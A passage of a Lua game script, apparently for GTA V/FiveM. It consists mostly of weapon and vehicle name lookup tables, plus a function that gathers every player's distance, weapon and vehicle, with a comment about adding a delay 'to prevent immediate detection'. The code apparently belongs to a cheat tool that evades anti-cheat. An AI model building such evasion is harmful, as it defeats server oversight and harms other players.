"Vehicle Turret Insurgent", [GetHashKey("VEHICLE_WEAPON_TURRET_TECHNICAL")] = "Vehicle Turret Technical", [GetHashKey("VEHICLE_WEAPON_NOSE_TURRET_VALKYRIE")] = "Vehicle Nose Turret Valkyrie", [GetHashKey("VEHICLE_WEAPON_PLAYER_SAVAGE")] = "Vehicle Player Savage", [GetHashKey("VEHICLE_WEAPON_TURRET_LIMO")] = "Vehicle Turret Limo", [GetHashKey("VEHICLE_WEAPON_CANNON_BLAZER")] = "Vehicle Cannon Blazer", [GetHashKey("VEHICLE_WEAPON_TURRET_BOXVILLE")] = "Vehicle Turret Boxville", [GetHashKey("VEHICLE_WEAPON_RUINER_BULLET")] = "Vehicle Ruiner Bullet", [GetHashKey("VEHICLE_WEAPON_RUINER_ROCKET")] = "Vehicle Ruiner Rocket", [GetHashKey("VEHICLE_WEAPON_TURRET_VALKYRIE")] = "Vehicle Turret Valkyrie", [GetHashKey("VEHICLE_WEAPON_AKULA_TURRET")] = "Vehicle Akula Turret", [GetHashKey("VEHICLE_WEAPON_AKULA_MISSILE")] = "Vehicle Akula Missile", [GetHashKey("VEHICLE_WEAPON_AKULA_MINIGUN")] = "Vehicle Akula Minigun", [GetHashKey("VEHICLE_WEAPON_AVENGER_CANNON")] = "Vehicle Avenger Cannon", [GetHashKey("VEHICLE_WEAPON_BARRAGE_TOP_MG")] = "Vehicle Barrage Top MG", [GetHashKey("VEHICLE_WEAPON_BARRAGE_TOP_GL")] = "Vehicle Barrage Top GL", [GetHashKey("VEHICLE_WEAPON_BARRAGE_REAR_MG")] = "Vehicle Barrage Rear MG", [GetHashKey("VEHICLE_WEAPON_BARRAGE_REAR_GL")] = "Vehicle Barrage Rear GL", [GetHashKey("VEHICLE_WEAPON_CHERNO_MISSILE")] = "Vehicle Cherno Missile", [GetHashKey("VEHICLE_WEAPON_COMET_MG")] = "Vehicle Comet MG", [GetHashKey("VEHICLE_WEAPON_DELUXO_MG")] = "Vehicle Deluxo MG", [GetHashKey("VEHICLE_WEAPON_DELUXO_MISSILE")] = "Vehicle Deluxo Missile", [GetHashKey("VEHICLE_WEAPON_DOGFIGHTER_MG")] = "Vehicle Dogfighter MG", [GetHashKey("VEHICLE_WEAPON_DOGFIGHTER_MISSILE")] = "Vehicle Dogfighter Missile", [GetHashKey("VEHICLE_WEAPON_HAVOK_MINIGUN")] = "Vehicle Havok Minigun", [GetHashKey("VEHICLE_WEAPON_HUNTER_MG")] = "Vehicle Hunter MG", [GetHashKey("VEHICLE_WEAPON_HUNTER_MISSILE")] = "Vehicle Hunter Missile", [GetHashKey("VEHICLE_WEAPON_HUNTER_CANNON")] = "Vehicle Hunter Cannon", [GetHashKey("VEHICLE_WEAPON_HUNTER_BARRAGE")] = "Vehicle Hunter Barrage", [GetHashKey("VEHICLE_WEAPON_KHANJALI_CANNON")] = "Vehicle Khanjali Cannon", [GetHashKey("VEHICLE_WEAPON_KHANJALI_CANNON_HEAVY")] = "Vehicle Khanjali Cannon Heavy", [GetHashKey("VEHICLE_WEAPON_KHANJALI_MG")] = "Vehicle Khanjali MG", [GetHashKey("VEHICLE_WEAPON_KHANJALI_GL")] = "Vehicle Khanjali GL", [GetHashKey("VEHICLE_WEAPON_MENACER_MG")] = "Vehicle Menacer MG", [GetHashKey("VEHICLE_WEAPON_MICROLIGHT_MG")] = "Vehicle Microlight MG", [GetHashKey("VEHICLE_WEAPON_MOGUL_NOSE")] = "Vehicle Mogul Nose", [GetHashKey("VEHICLE_WEAPON_MOGUL_DUAL_NOSE")] = "Vehicle Mogul Dual Nose", [GetHashKey("VEHICLE_WEAPON_MOGUL_TURRET")] = "Vehicle Mogul Turret", [GetHashKey("VEHICLE_WEAPON_MOGUL_DUAL_TURRET")] = "Vehicle Mogul Dual Turret", [GetHashKey("VEHICLE_WEAPON_MULE4_MG")] = "Vehicle Mule4 MG", [GetHashKey("VEHICLE_WEAPON_MULE4_MISSILE")] = "Vehicle Mule4 Missile", [GetHashKey("VEHICLE_WEAPON_MULE4_TURRET_GL")] = "Vehicle Mule4 Turret GL", [GetHashKey("VEHICLE_WEAPON_OPPRESSOR_MG")] = "Vehicle Oppressor MG", [GetHashKey("VEHICLE_WEAPON_OPPRESSOR_MISSILE")] = "Vehicle Oppressor Missile", [GetHashKey("VEHICLE_WEAPON_OPPRESSOR2_MG")] = "Vehicle Oppressor2 MG", [GetHashKey("VEHICLE_WEAPON_OPPRESSOR2_MISSILE")] = "Vehicle Oppressor2 Missile", [GetHashKey("VEHICLE_WEAPON_POUNDER2_BARRAGE")] = "Vehicle Pounder2 Barrage", [GetHashKey("VEHICLE_WEAPON_POUNDER2_GL")] = "Vehicle Pounder2 GL", [GetHashKey("VEHICLE_WEAPON_POUNDER2_MINI")] = "Vehicle Pounder2 Mini", [GetHashKey("VEHICLE_WEAPON_POUNDER2_MISSILE")] = "Vehicle Pounder2 Missile", [GetHashKey("VEHICLE_WEAPON_ROGUE_MG")] = "Vehicle Rogue MG", [GetHashKey("VEHICLE_WEAPON_ROGUE_CANNON")] = "Vehicle Rogue Cannon", [GetHashKey("VEHICLE_WEAPON_ROGUE_MISSILE")] = "Vehicle Rogue Missile", [GetHashKey("VEHICLE_WEAPON_SAVESTRA_MG")] = "Vehicle Savestra MG", [GetHashKey("VEHICLE_WEAPON_SCRAMJET_MG")] = "Vehicle Scramjet MG", [GetHashKey("VEHICLE_WEAPON_SCRAMJET_MISSILE")] = "Vehicle Scramjet Missile", [GetHashKey("VEHICLE_WEAPON_SEABREEZE_MG")] = "Vehicle Seabreeze MG", [GetHashKey("VEHICLE_WEAPON_SPEEDO4_MG")] = "Vehicle Speedo4 MG", [GetHashKey("VEHICLE_WEAPON_SPEEDO4_TURRET_MG")] = "Vehicle Speedo4 Turret MG", [GetHashKey("VEHICLE_WEAPON_SPEEDO4_TURRET_MINI")] = "Vehicle Speedo4 Turret Mini", [GetHashKey("VEHICLE_WEAPON_STRIKEFORCE_BARRAGE")] = "Vehicle Strikeforce Barrage", [GetHashKey("VEHICLE_WEAPON_STRIKEFORCE_CANNON")] = "Vehicle Strikeforce Cannon", [GetHashKey("VEHICLE_WEAPON_STRIKEFORCE_MISSILE")] = "Vehicle Strikeforce Missile", [GetHashKey("VEHICLE_WEAPON_SUBCAR_MG")] = "Vehicle Subcar MG", [GetHashKey("VEHICLE_WEAPON_SUBCAR_MISSILE")] = "Vehicle Subcar Missile", [GetHashKey("VEHICLE_WEAPON_SUBCAR_TORPEDO")] = "Vehicle Subcar Torpedo", [GetHashKey("VEHICLE_WEAPON_THRUSTER_MG")] = "Vehicle Thruster MG", [GetHashKey("VEHICLE_WEAPON_THRUSTER_MISSILE")] = "Vehicle Thruster Missile", [GetHashKey("VEHICLE_WEAPON_TRAILER_DUALAA")] = "Vehicle Trailer Dual AA", [GetHashKey("VEHICLE_WEAPON_TRAILER_MISSILE")] = "Vehicle Trailer Missile", [GetHashKey("VEHICLE_WEAPON_TRAILER_QUADMG")] = "Vehicle Trailer Quad MG", [GetHashKey("VEHICLE_WEAPON_TULA_NOSEMG")] = "Vehicle Tula Nose MG", [GetHashKey("VEHICLE_WEAPON_TULA_MG")] = "Vehicle Tula MG", [GetHashKey("VEHICLE_WEAPON_TULA_DUALMG")] = "Vehicle Tula Dual MG", [GetHashKey("VEHICLE_WEAPON_TULA_MINIGUN")] = "Vehicle Tula Minigun", [GetHashKey("VEHICLE_WEAPON_VISERIS_MG")] = "Vehicle Viseris MG", [GetHashKey("VEHICLE_WEAPON_VIGILANTE_MG")] = "Vehicle Vigilante MG", [GetHashKey("VEHICLE_WEAPON_VIGILANTE_MISSILE")] = "Vehicle Vigilante Missile", [GetHashKey("VEHICLE_WEAPON_VOLATOL_DUALMG")] = "Vehicle Volatol Dual MG", [GetHashKey("VEHICLE_WEAPON_BOMBUSHKA_CANNON")] = "Vehicle Bombushka Cannon", [GetHashKey("VEHICLE_WEAPON_BOMBUSHKA_DUALMG")] = "Vehicle Bombushka Dual MG", [GetHashKey("VEHICLE_WEAPON_CARACARA_MG")] = "Vehicle Caracara MG", [GetHashKey("VEHICLE_WEAPON_CARACARA_MINIGUN")] = "Vehicle Caracara Minigun", [GetHashKey("VEHICLE_WEAPON_INSURGENT_MINIGUN")] = "Vehicle Insurgent Minigun", [GetHashKey("VEHICLE_WEAPON_ARDENT_MG")] = "Vehicle Ardent MG", [GetHashKey("VEHICLE_WEAPON_TECHNICAL_MINIGUN")] = "Vehicle Technical Minigun", [GetHashKey("VEHICLE_WEAPON_DUNE_MG")] = "Vehicle Dune MG", [GetHashKey("VEHICLE_WEAPON_DUNE_GRENADELAUNCHER")] = "Vehicle Dune Grenade Launcher", [GetHashKey("VEHICLE_WEAPON_DUNE_MINIGUN")] = "Vehicle Dune Minigun", [GetHashKey("VEHICLE_WEAPON_TAMPA_MISSILE")] = "Vehicle Tampa Missile", [GetHashKey("VEHICLE_WEAPON_TAMPA_MORTAR")] = "Vehicle Tampa Mortar", [GetHashKey("VEHICLE_WEAPON_TAMPA_FIXEDMG")] = "Vehicle Tampa Fixed MG", [GetHashKey("VEHICLE_WEAPON_TAMPA_DUALMINIGUN")] = "Vehicle Tampa Dual Minigun", [GetHashKey("VEHICLE_WEAPON_HALFTRACK_DUALMG")] = "Vehicle Halftrack Dual MG", [GetHashKey("VEHICLE_WEAPON_HALFTRACK_QUADMG")] = "Vehicle Halftrack Quad MG", [GetHashKey("VEHICLE_WEAPON_APC_CANNON")] = "Vehicle APC Cannon", [GetHashKey("VEHICLE_WEAPON_APC_MISSILE")] = "Vehicle APC Missile", [GetHashKey("VEHICLE_WEAPON_APC_MG")] = "Vehicle APC MG", [GetHashKey("VEHICLE_WEAPON_NIGHTSHARK_MG")] = "Vehicle Nightshark MG", [GetHashKey("VEHICLE_WEAPON_TECHNICAL3_MINIGUN")] = "Vehicle Technical3 Minigun", [GetHashKey("VEHICLE_WEAPON_INSURGENT3_MINIGUN")] = "Vehicle Insurgent3 Minigun", [GetHashKey("VEHICLE_WEAPON_AATANK")] = "Vehicle AA Tank", [GetHashKey("VEHICLE_WEAPON_TURRET_MINISUB")] = "Vehicle Turret Minisub", [GetHashKey("VEHICLE_WEAPON_SUBMARINE_MISSILES")] = "Vehicle Submarine Missiles", [GetHashKey("VEHICLE_WEAPON_SUBMARINE_TORPEDOES")] = "Vehicle Submarine Torpedoes", [GetHashKey("VEHICLE_WEAPON_SUBMARINECRASH")] = "Vehicle Submarine Crash", [GetHashKey("VEHICLE_WEAPON_PATRIOT3_MINIGUN")] = "Vehicle Patriot3 Minigun", [GetHashKey("VEHICLE_WEAPON_RAIJU_CANNON")] = "Vehicle Raiju Cannon", -- PARACHUTE [GetHashKey("GADGET_PARACHUTE")] = "Parachute", [GetHashKey("WEAPON_PARACHUTE")] = "Parachute", [GetHashKey("GADGET_NIGHTVISION")] = "Night Vision", } return weaponNames[weaponHash] or "Unknown" end -- Enhanced player data function -- CLEAN FIXED VERSION - Simple and reliable vehicle detection local function getRealPlayerData() -- Add delay to prevent immediate detection Wait(100) local players = {} local playerList = {} if GetActivePlayers then playerList = GetActivePlayers() or {} end if #playerList == 0 then for i = 0, 255 do if NetworkIsPlayerActive(i) then table.insert(playerList, i) end end end for i = 1, #playerList do local currPlayer = playerList[i] local playerPed = GetPlayerPed(currPlayer) if DoesEntityExist(playerPed) then local playerCoords = GetEntityCoords(playerPed) local localPlayerCoords = GetEntityCoords(PlayerPedId()) local distance = math.floor(GetDistanceBetweenCoords(playerCoords.x, playerCoords.y, playerCoords.z, localPlayerCoords.x, localPlayerCoords.y, localPlayerCoords.z, true)) -- FIXED: Better weapon detection with fallback names local currentWeapon = "Unarmed" local weaponHash = GetSelectedPedWeapon(playerPed) if weaponHash and weaponHash ~= GetHashKey("WEAPON_UNARMED") and weaponHash ~= 0 then local weaponName = getWeaponName(weaponHash) if weaponName and weaponName ~= "Unknown" then currentWeapon = weaponName else currentWeapon = "Unknown Weapon" end end -- FIXED: Simple vehicle detection - only check if actually in vehicle local isInVehicle = IsPedInAnyVehicle(playerPed, false) local vehicleName = "None" local speed = "0" if isInVehicle then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 and DoesEntityExist(vehicle) then local vehicleModel = GetEntityModel(vehicle) local displayName = GetDisplayNameFromVehicleModel(vehicleModel) -- Vehicle name lookup table local vehicleNames = { -- Super Cars [GetHashKey("adder")] = "Adder", [GetHashKey("autarch")] = "Autarch", [GetHashKey("banshee2")] = "Banshee 900R", [GetHashKey("bullet")] = "Bullet", [GetHashKey("cheetah")] = "Cheetah", [GetHashKey("cyclone")] = "Cyclone", [GetHashKey("entityxf")] = "Entity XF", [GetHashKey("entity2")] = "Entity XXR", [GetHashKey("emerus")] = "Emerus", [GetHashKey("fmj")] = "FMJ", [GetHashKey("gp1")] = "GP1", [GetHashKey("infernus")] = "Infernus", [GetHashKey("italigtb")] = "Itali GTB", [GetHashKey("italigtb2")] = "Itali GTB Custom", [GetHashKey("krieger")] = "Krieger", [GetHashKey("le7b")] = "RE-7B", [GetHashKey("nero")] = "Nero", [GetHashKey("nero2")] = "Nero Custom", [GetHashKey("osiris")] = "Osiris", [GetHashKey("penetrator")] = "Penetrator", [GetHashKey("pfister811")] = "811", [GetHashKey("prototipo")] = "X80 Proto", [GetHashKey("reaper")] = "Reaper", [GetHashKey("sc1")] = "SC1", [GetHashKey("scramjet")] = "Scramjet", [GetHashKey("sheava")] = "ETR1", [GetHashKey("sultanrs")] = "Sultan RS", [GetHashKey("t20")] = "T20", [GetHashKey("taipan")] = "Taipan", [GetHashKey("tempesta")] = "Tempesta", [GetHashKey("tezeract")] = "Tezeract", [GetHashKey("turismor")] = "Turismo R", [GetHashKey("tyrant")] = "Tyrant", [GetHashKey("tyrus")] = "Tyrus", [GetHashKey("vacca")] = "Vacca", [GetHashKey("vagner")] = "Vagner", [GetHashKey("vigilante")] = "Vigilante", [GetHashKey("visione")] = "Visione", [GetHashKey("voltic")] = "Voltic", [GetHashKey("voltic2")] = "Rocket Voltic", [GetHashKey("xa21")] = "XA-21", [GetHashKey("zentorno")] = "Zentorno", [GetHashKey("zorrusso")] = "Zorrusso", [GetHashKey("thrax")] = "Thrax", [GetHashKey("s80")] = "S80RR", [GetHashKey("tigon")] = "Tigon", [GetHashKey("furia")] = "Furia", [GetHashKey("deveste")] = "Deveste Eight", [GetHashKey("formula")] = "PR4", [GetHashKey("formula2")] = "R88", [GetHashKey("openwheel1")] = "BR8", [GetHashKey("openwheel2")] = "DR1", -- Sports Cars [GetHashKey("alpha")] = "Alpha", [GetHashKey("banshee")] = "Banshee", [GetHashKey("bestiagts")] = "Bestia GTS", [GetHashKey("blista2")] = "Blista Compact", [GetHashKey("blista3")] = "Go Go Monkey Blista", [GetHashKey("buffalo")] = "Buffalo", [GetHashKey("buffalo2")] = "Buffalo S", [GetHashKey("buffalo3")] = "Sprunk Buffalo", [GetHashKey("carbonizzare")] = "Carbonizzare", [GetHashKey("comet2")] = "Comet", [GetHashKey("comet3")] = "Comet Retro Custom", [GetHashKey("comet4")] = "Comet Safari", [GetHashKey("comet5")] = "Comet SR", [GetHashKey("coquette")] = "Coquette", [GetHashKey("coquette4")] = "Coquette D10", [GetHashKey("deviant")] = "Deviant", [GetHashKey("elegy")] = "Elegy RH8", [GetHashKey("elegy2")] = "Elegy Retro Custom", [GetHashKey("feltzer2")] = "Feltzer", [GetHashKey("feltzer3")] = "Stirling GT", [GetHashKey("flash")] = "Flash GT", [GetHashKey("flashgt")] = "Flash GT", [GetHashKey("furoregt")] = "Furore GT", [GetHashKey("fusilade")] = "Fusilade", [GetHashKey("futo")] = "Futo", [GetHashKey("gb200")] = "GB200", [GetHashKey("hotring")] = "Hotring Sabre", [GetHashKey("jester")] = "Jester", [GetHashKey("jester2")] = "Jester (Racecar)", [GetHashKey("jester3")] = "Jester Classic", [GetHashKey("khamelion")] = "Khamelion", [GetHashKey("kuruma")] = "Kuruma", [GetHashKey("kuruma2")] = "Kuruma (Armored)", [GetHashKey("lynx")] = "Lynx", [GetHashKey("massacro")] = "Massacro", [GetHashKey("massacro2")] = "Massacro (Racecar)", [GetHashKey("neon")] = "Neon", [GetHashKey("ninef")] = "9F", [GetHashKey("ninef2")] = "9F Cabrio", [GetHashKey("omnis")] = "Omnis", [GetHashKey("pariah")] = "Pariah", [GetHashKey("penumbra")] = "Penumbra", [GetHashKey("raiden")] = "Raiden", [GetHashKey("rapidgt")] = "Rapid GT", [GetHashKey("rapidgt2")] = "Rapid GT Convertible", [GetHashKey("raptor")] = "Raptor", [GetHashKey("revolter")] = "Revolter", [GetHashKey("ruston")] = "Ruston", [GetHashKey("schafter3")] = "Schafter V12", [GetHashKey("schafter4")] = "Schafter LWB", [GetHashKey("schafter5")] = "Schafter V12 (Armored)", [GetHashKey("schwarzer")] = "Schwartzer", [GetHashKey("sentinel3")] = "Sentinel Classic", [GetHashKey("seven70")] = "Seven-70", [GetHashKey("specter")] = "Specter", [GetHashKey("specter2")] = "Specter Custom", [GetHashKey("streiter")] = "Streiter", [GetHashKey("sultan")] = "Sultan", [GetHashKey("surano")] = "Surano", [GetHashKey("tampa2")] = "Drift Tampa", [GetHashKey("tropos")] = "Tropos Rallye", [GetHashKey("verlierer2")] = "Verlierer", [GetHashKey("vstr")] = "V-STR", [GetHashKey("jugular")] = "Jugular", [GetHashKey("komoda")] = "Komoda", [GetHashKey("imorgon")] = "Imorgon", [GetHashKey("sugoi")] = "Sugoi", [GetHashKey("sultan2")] = "Sultan Classic", [GetHashKey("italirsx")] = "Itali RSX", [GetHashKey("veto")] = "Veto Classic", [GetHashKey("veto2")] = "Veto Modern", [GetHashKey("zr350")] = "ZR350", [GetHashKey("calico")] = "Calico GTF", [GetHashKey("futo2")] = "Futo GTX", [GetHashKey("euros")] = "Euros", [GetHashKey("growler")] = "Growler", [GetHashKey("jester4")] = "Jester RR", [GetHashKey("previon")] = "Previon", [GetHashKey("remus")] = "Remus", [GetHashKey("vectre")] = "Vectre", [GetHashKey("zr380")] = "ZR380", [GetHashKey("zr3802")] = "Future Shock ZR380", [GetHashKey("zr3803")] = "Apocalypse ZR380", [GetHashKey("cypher")] = "Cypher", [GetHashKey("sultan3")] = "Sultan RS Classic", -- Sports Classics [GetHashKey("btype")] = "Roosevelt", [GetHashKey("btype2")] = "Franken Stange", [GetHashKey("btype3")] = "Roosevelt Valor", [GetHashKey("casco")] = "Casco", [GetHashKey("cheetah2")] = "Cheetah Classic", [GetHashKey("coquette2")] = "Coquette Classic", [GetHashKey("coquette3")] = "Coquette BlackFin", [GetHashKey("deluxo")] = "Deluxo", [GetHashKey("dynasty")] = "Dynasty", [GetHashKey("fagaloa")] = "Fagaloa", [GetHashKey("feltzer3")] = "Stirling GT", [GetHashKey("gt500")] = "GT500", [GetHashKey("infernus2")] = "Infernus Classic", [GetHashKey("jb700")] = "JB 700", [GetHashKey("jb7002")] = "JB 700W", [GetHashKey("mamba")] = "Mamba", [GetHashKey("manana")] = "Manana", [GetHashKey("michelli")] = "Michelli GT", [GetHashKey("monroe")] = "Monroe", [GetHashKey("peyote")] = "Peyote", [GetHashKey("pigalle")] = "Pigalle", [GetHashKey("rapidgt3")] = "Rapid GT Classic", [GetHashKey("retinue")] = "Retinue", [GetHashKey("savestra")] = "Savestra", [GetHashKey("stinger")] = "Stinger", [GetHashKey("stingergt")] = "Stinger GT", [GetHashKey("stromberg")] = "Stromberg", [GetHashKey("swinger")] = "Swinger", [GetHashKey("torero")] = "Torero", [GetHashKey("tornado")] = "Tornado", [GetHashKey("tornado2")] = "Tornado Cabrio", [GetHashKey("tornado3")] = "Rusty Tornado", [GetHashKey("tornado4")] = "Tornado Custom", [GetHashKey("tornado5")] = "Tornado Rat Rod", [GetHashKey("tornado6")] = "Tornado Mariachi", [GetHashKey("turismo2")] = "Turismo Classic", [GetHashKey("viseris")] = "Viseris", [GetHashKey("z190")] = "190z", [GetHashKey("ztype")] = "Z-Type", [GetHashKey("zion3")] = "Zion Classic", [GetHashKey("cheburek")] = "Cheburek", [GetHashKey("vamos")] = "Vamos", [GetHashKey("nebula")] = "Nebula Turbo", [GetHashKey("peyote2")] = "Peyote Gasser", [GetHashKey("glendale2")] = "Glendale Custom", [GetHashKey("manana2")] = "Manana Custom", [GetHashKey("yosemite3")] = "Yosemite Rancher", [GetHashKey("coquette4")] = "Coquette D10", [GetHashKey("brioso2")] = "Brioso 300", [GetHashKey("weevil")] = "Weevil", [GetHashKey("toreador")] = "Toreador", -- Sedans [GetHashKey("asea")] = "Asea", [GetHashKey("asterope")] = "Asterope", [GetHashKey("cog55")] = "Cognoscenti 55", [GetHashKey("cog552")] = "Cognoscenti 55 (Armored)", [GetHashKey("cognoscenti")] = "Cognoscenti", [GetHashKey("cognoscenti2")] = "Cognoscenti (Armored)", [GetHashKey("emperor")] = "Emperor", [GetHashKey("emperor2")] = "Rusty Emperor", [GetHashKey("emperor3")] = "Emperor ETR1", [GetHashKey("fugitive")] = "Fugitive", [GetHashKey("glendale")] = "Glendale", [GetHashKey("ingot")] = "Ingot", [GetHashKey("intruder")] = "Intruder", [GetHashKey("limo2")] = "Turreted Limo", [GetHashKey("premier")] = "Premier", [GetHashKey("primo")] = "Primo", [GetHashKey("primo2")] = "Primo Custom", [GetHashKey("regina")] = "Regina", [GetHashKey("romero")] = "Romero Hearse", [GetHashKey("schafter2")] = "Schafter", [GetHashKey("stanier")] = "Stanier", [GetHashKey("stratum")] = "Stratum", [GetHashKey("stretch")] = "Stretch", [GetHashKey("superd")] = "Super Diamond", [GetHashKey("surge")] = "Surge", [GetHashKey("tailgater")] = "Tailgater", [GetHashKey("warrener")] = "Warrener", [GetHashKey("washington")] = "Washington", [GetHashKey("glendale2")] = "Glendale Custom", [GetHashKey("ingot")] = "Ingot", -- SUVs [GetHashKey("baller")] = "Baller", [GetHashKey("baller2")] = "Baller 2", [GetHashKey("baller3")] = "Baller LE", [GetHashKey("baller4")] = "Baller LE LWB", [GetHashKey("baller5")] = "Baller LE (Armored)", [GetHashKey("baller6")] = "Baller LE LWB (Armored)", [GetHashKey("bjxl")] = "BeeJay XL", [GetHashKey("cavalcade")] = "Cavalcade", [GetHashKey("cavalcade2")] = "Cavalcade 2", [GetHashKey("contender")] = "Contender", [GetHashKey("dubsta")] = "Dubsta", [GetHashKey("dubsta2")] = "Dubsta 2", [GetHashKey("dubsta3")] = "Dubsta 6x6", [GetHashKey("fq2")] = "FQ 2", [GetHashKey("granger")] = "Granger", [GetHashKey("gresley")] = "Gresley", [GetHashKey("habanero")] = "Habanero", [GetHashKey("huntley")] = "Huntley S", [GetHashKey("landstalker")] = "Landstalker", [GetHashKey("mesa")] = "Mesa", [GetHashKey("patriot")] = "Patriot", [GetHashKey("radi")] = "Radius", [GetHashKey("rocoto")] = "Rocoto", [GetHashKey("seminole")] = "Seminole", [GetHashKey("serrano")] = "Serrano", [GetHashKey("toros")] = "Toros", [GetHashKey("xls")] = "XLS", [GetHashKey("xls2")] = "XLS (Armored)", [GetHashKey("rebla")] = "Rebla GTS", [GetHashKey("novak")] = "Novak", [GetHashKey("patriot2")] = "Patriot Stretch", [GetHashKey("squaddie")] = "Squaddie", [GetHashKey("toros")] = "Toros", [GetHashKey("streiter")] = "Streiter", [GetHashKey("freecrawler")] = "Freecrawler", [GetHashKey("caracara")] = "Caracara", [GetHashKey("caracara2")] = "Caracara 4x4", [GetHashKey("baller7")] = "Baller ST", [GetHashKey("jubilee")] = "Jubilee", [GetHashKey("patriot3")] = "Patriot Mil-Spec", -- Coupes [GetHashKey("cogcabrio")] = "Cognoscenti Cabrio", [GetHashKey("exemplar")] = "Exemplar", [GetHashKey("f620")] = "F620", [GetHashKey("felon")] = "Felon", [GetHashKey("felon2")] = "Felon GT", [GetHashKey("jackal")] = "Jackal", [GetHashKey("oracle")] = "Oracle XS", [GetHashKey("oracle2")] = "Oracle", [GetHashKey("sentinel")] = "Sentinel", [GetHashKey("sentinel2")] = "Sentinel XS", [GetHashKey("windsor")] = "Windsor", [GetHashKey("windsor2")] = "Windsor Drop", [GetHashKey("zion")] = "Zion", [GetHashKey("zion2")] = "Zion Cabrio", -- Muscle [GetHashKey("blade")] = "Blade", [GetHashKey("buccaneer")] = "Buccaneer", [GetHashKey("buccaneer2")] = "Buccaneer Custom", [GetHashKey("chino")] = "Chino", [GetHashKey("chino2")] = "Chino Custom", [GetHashKey("clique")] = "Clique", [GetHashKey("coquette3")] = "Coquette BlackFin", [GetHashKey("deviant")] = "Deviant", [GetHashKey("dominator")] = "Dominator", [GetHashKey("dominator2")] = "Pisswasser Dominator", [GetHashKey("dominator3")] = "Dominator GTX", [GetHashKey("dominator4")] = "Apocalypse Dominator", [GetHashKey("dominator5")] = "Future Shock Dominator", [GetHashKey("dominator6")] = "Nightmare Dominator", [GetHashKey("dukes")] = "Dukes", [GetHashKey("dukes2")] = "Duke O'Death", [GetHashKey("ellie")] = "Ellie", [GetHashKey("faction")] = "Faction", [GetHashKey("faction2")] = "Faction Custom", [GetHashKey("faction3")] = "Faction Custom Donk", [GetHashKey("gauntlet")] = "Gauntlet", [GetHashKey("gauntlet2")] = "Redwood Gauntlet", [GetHashKey("gauntlet3")] = "Gauntlet Classic", [GetHashKey("gauntlet4")] = "Gauntlet Hellfire", [GetHashKey("hermes")] = "Hermes", [GetHashKey("hotknife")] = "Hotknife", [GetHashKey("hustler")] = "Hustler", [GetHashKey("impaler")] = "Impaler", [GetHashKey("impaler2")] = "Apocalypse Impaler", [GetHashKey("impaler3")] = "Future Shock Impaler", [GetHashKey("impaler4")] = "Nightmare Impaler", [GetHashKey("lurcher")] = "Lurcher", [GetHashKey("moonbeam")] = "Moonbeam", [GetHashKey("moonbeam2")] = "Moonbeam Custom", [GetHashKey("nightshade")] = "Nightshade", [GetHashKey("phoenix")] = "Phoenix", [GetHashKey("picador")] = "Picador", [GetHashKey("ratloader")] = "Rat-Loader", [GetHashKey("ratloader2")] = "Rat-Truck", [GetHashKey("ruiner")] = "Ruiner", [GetHashKey("ruiner2")] = "Ruiner 2000", [GetHashKey("sabregt")] = "Sabre Turbo", [GetHashKey("sabregt2")] = "Sabre Turbo Custom", [GetHashKey("slamvan")] = "Slamvan", [GetHashKey("slamvan2")] = "Lost Slamvan", [GetHashKey("slamvan3")] = "Slamvan Custom", [GetHashKey("slamvan4")] = "Apocalypse Slamvan", [GetHashKey("slamvan5")] = "Future Shock Slamvan", [GetHashKey("slamvan6")] = "Nightmare Slamvan", [GetHashKey("stalion")] = "Stallion", [GetHashKey("stalion2")] = "Burger Shot Stallion", [GetHashKey("tampa")] = "Tampa", [GetHashKey("tampa3")] = "Weaponized Tampa", [GetHashKey("tulip")] = "Tulip", [GetHashKey("vamos")] = "Vamos", [GetHashKey("vigero")] = "Vigero", [GetHashKey("virgo")] = "Virgo", [GetHashKey("virgo2")] = "Virgo Classic Custom", [GetHashKey("virgo3")] = "Virgo Classic", [GetHashKey("voodoo")] = "Voodoo", [GetHashKey("voodoo2")] = "Voodoo Custom", [GetHashKey("yosemite")] = "Yosemite", [GetHashKey("yosemite2")] = "Drift Yosemite", [GetHashKey("peyote3")] = "Peyote Custom", [GetHashKey("manana2")] = "Manana Custom", [GetHashKey("coquette4")] = "Coquette D10", [GetHashKey("deveste")] = "Deveste Eight", [GetHashKey("tahoma")] = "Tahoma Coupe", [GetHashKey("buffalo4")] = "Buffalo STX", [GetHashKey("greenwood")] = "Greenwood", -- Compacts [GetHashKey("blista")] = "Blista", [GetHashKey("brioso")] = "Brioso R/A", [GetHashKey("dilettante")] = "Dilettante", [GetHashKey("dilettante2")] = "Merryweather Dilettante", [GetHashKey("issi2")] = "Issi", [GetHashKey("issi3")] = "Issi Classic", [GetHashKey("issi4")] = "Apocalypse Issi", [GetHashKey("issi5")] = "Future Shock Issi", [GetHashKey("issi6")] = "Nightmare Issi", [GetHashKey("issi7")] = "Issi Sport", [GetHashKey("panto")] = "Panto", [GetHashKey("prairie")] = "Prairie", [GetHashKey("rhapsody")] = "Rhapsody", [GetHashKey("brioso2")] = "Brioso 300", [GetHashKey("weevil")] = "Weevil", [GetHashKey("kanjo")] = "Blista Kanjo", [GetHashKey("club")] = "Club", -- Vans [GetHashKey("bison")] = "Bison", [GetHashKey("bison2")] = "Bison (2)", [GetHashKey("bison3")] = "Bison (3)", [GetHashKey("bobcatxl")] = "Bobcat XL", [GetHashKey("boxville")] = "Boxville", [GetHashKey("boxville2")] = "Boxville (Post Op)", [GetHashKey("boxville3")] = "Boxville (Humane Labs)", [GetHashKey("boxville4")] = "Boxville (Armored)", [GetHashKey("boxville5")] = "Armored Boxville", [GetHashKey("burrito")] = "Burrito", [GetHashKey("burrito2")] = "Burrito (Snow)", [GetHashKey("burrito3")] = "Burrito (Gang)", [GetHashKey("burrito4")] = "Burrito (Bug Stars)", [GetHashKey("burrito5")] = "Burrito (Graphics)", [GetHashKey("camper")] = "Camper", [GetHashKey("gburrito")] = "Gang Burrito", [GetHashKey("gburrito2")] = "Gang Burrito 2", [GetHashKey("journey")] = "Journey", [GetHashKey("minivan")] = "Minivan", [GetHashKey("minivan2")] = "Minivan Custom", [GetHashKey("paradise")] = "Paradise", [GetHashKey("pony")] = "Pony", [GetHashKey("pony2")] = "Pony (Weed)", [GetHashKey("rumpo")] = "Rumpo", [GetHashKey("rumpo2")] = "Rumpo (Deludamol)", [GetHashKey("rumpo3")] = "Rumpo Custom", [GetHashKey("speedo")] = "Speedo", [GetHashKey("speedo2")] = "Speedo (Clown)", [GetHashKey("speedo4")] = "Speedo Custom", [GetHashKey("surfer")] = "Surfer", [GetHashKey("surfer2")] = "Surfer (Rusty)", [GetHashKey("taco")] = "Taco Van", 